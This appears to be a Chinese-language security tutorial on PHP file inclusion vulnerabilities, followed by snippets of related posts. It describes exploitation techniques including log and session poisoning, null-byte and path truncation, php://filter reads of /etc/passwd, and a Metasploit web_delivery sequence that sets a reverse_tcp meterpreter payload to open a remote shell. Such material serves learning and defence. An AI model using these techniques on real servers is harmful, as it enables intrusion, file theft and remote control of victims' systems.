檔案包含漏洞

2022-09-08 14:21:11 字數 3121 閱讀 8221

檔案包含就是乙個檔案裡面包含另外乙個檔案。一開始接觸的時候是因為php裡面,但是查詢了一些資料這個存在在很多語言裡面。程式開發人員一般會把重複使用的函式寫到單個檔案中,需要使用某個函式時直接呼叫此檔案,而無需再次編寫,這中檔案呼叫的過程一般被稱為檔案包含。程式開發人員一般希望**更靈活,所以將被包含的檔案設定為變數,用來進行動態呼叫,但正是由於這種靈活性,從而導致客戶端可以呼叫乙個惡意檔案,造成檔案包含漏洞。

在預設情況下,allow_url_include是禁用的。

你可以通過php.ini啟用allow_url_include:

/etc/php7/apache2/php.ini

allow_url_include = on

php檔案包含函式:include、require、include_once、require_once。

include和require區別主要是,include在包含的過程中如果出現錯誤,會丟擲乙個警告,程式繼續正常執行;而require函式出現錯誤的時候,會直接報錯並退出程式的執行。

include_once(),require_once()這兩個函式,與前兩個的不同之處在於這兩個函式只包含一次,適用於在指令碼執行期間同乙個檔案有可能被包括超過一次的情況下,你想確保它只被包括一次以避免函式重定義,變數重新賦值等問題。

本地檔案包含還可能需要配合跨目錄字元(../)、檔案上傳功能。

環境搭建

僅且編寫乙個存在檔案包含的php檔案放在**根目錄下。

apache日誌記錄的是請求路徑和ua頭,由於請求路徑被url編碼了,所以可以在ua上下功夫。

直接訪問apache日誌檔案是訪問不到的。因此也是這種方式雞肋的地方。不過可以通過這個方式持續的控制目前伺服器。

這是因為許可權不足,給整個目錄賦予775許可權。

賦予許可權後,通過蟻劍就可以連線成功了。

ssh投毒同理,ssh日誌是auth.log:

/var/log/auth.log
當傳入的值會儲存到session檔案中,如果存在本地檔案包含漏洞,就可以寫入惡意**到session檔案中,然後通過檔案包含漏洞執行此惡意**getshell。

/var/lib/php/session
當伺服器支援遠端檔案包含的話,可以在自己伺服器上上傳乙個惡意的文字檔案,讓被攻擊伺服器去遠端包含惡意檔案,執行命名即可。

當服務端對../和./進行過濾,可以通過編碼進行繞過(url編碼、url二次編碼、容器/伺服器的編碼方式等)。

利用條件: < php版本 5.3.4

這種情況是服務端在檔案包含的時候新增了乙個固定的檔案字尾比如是(.php),這樣會導致請求/etc/passwd會變成/etc/passwd.php,這樣就找不到檔案了。

當我們面對此類問題時,請進行null byte攻擊(因為%00在c語言中代表結束,php是基於c語言的)。

利用條件:< php 5.2.8。

一直重複目錄字串(./),在linux下4096位元組時會達到最大值,在window下是256位元組。

針對伺服器新增字尾,可以在後面新增?和#。

有些時候,當你無法讀取php檔案內容時,你也可以通過php協議通過base64編碼進行輸出:

php://filter/read=convert.base64-encode/resource=/etc/passwd
利用條件:需要allow_url_include = on

使用metasploit平台來利用該漏洞:

use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set target 1

msf exploit (web_delivery)> set lhost 192.168.1.123

msf exploit (web_delivery)>set srvport 8081

msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp

msf exploit (web_delivery)>exploit

把cmd引數改為劃線的一行**即可:

利用條件:php版本》=php5.3.0

當有個檔案phpinfo.txt,其內容為<?php phpinfo(); ?>,並將其打包成zip壓縮包(shell.zip)。

相對路徑:

絕對路徑:

利用條件:php版本》=php5.3.0

相對路徑會包含失敗,只能使用絕對路徑

利用條件:

php版本 <= php5.2

allow_url_fopen = on

allow_url_include = on

讀檔案:

檔案包含漏洞

簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...

檔案包含漏洞

1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...

檔案包含漏洞

直接執行 的函式 eval assert system exec shell exec passthru escapeshellcmd pcntl exec 等就不一一舉例了。1 eval eval 函式把字串按照 php 來計算,如常見的一句話後門程式 eval post cmd 2 assert...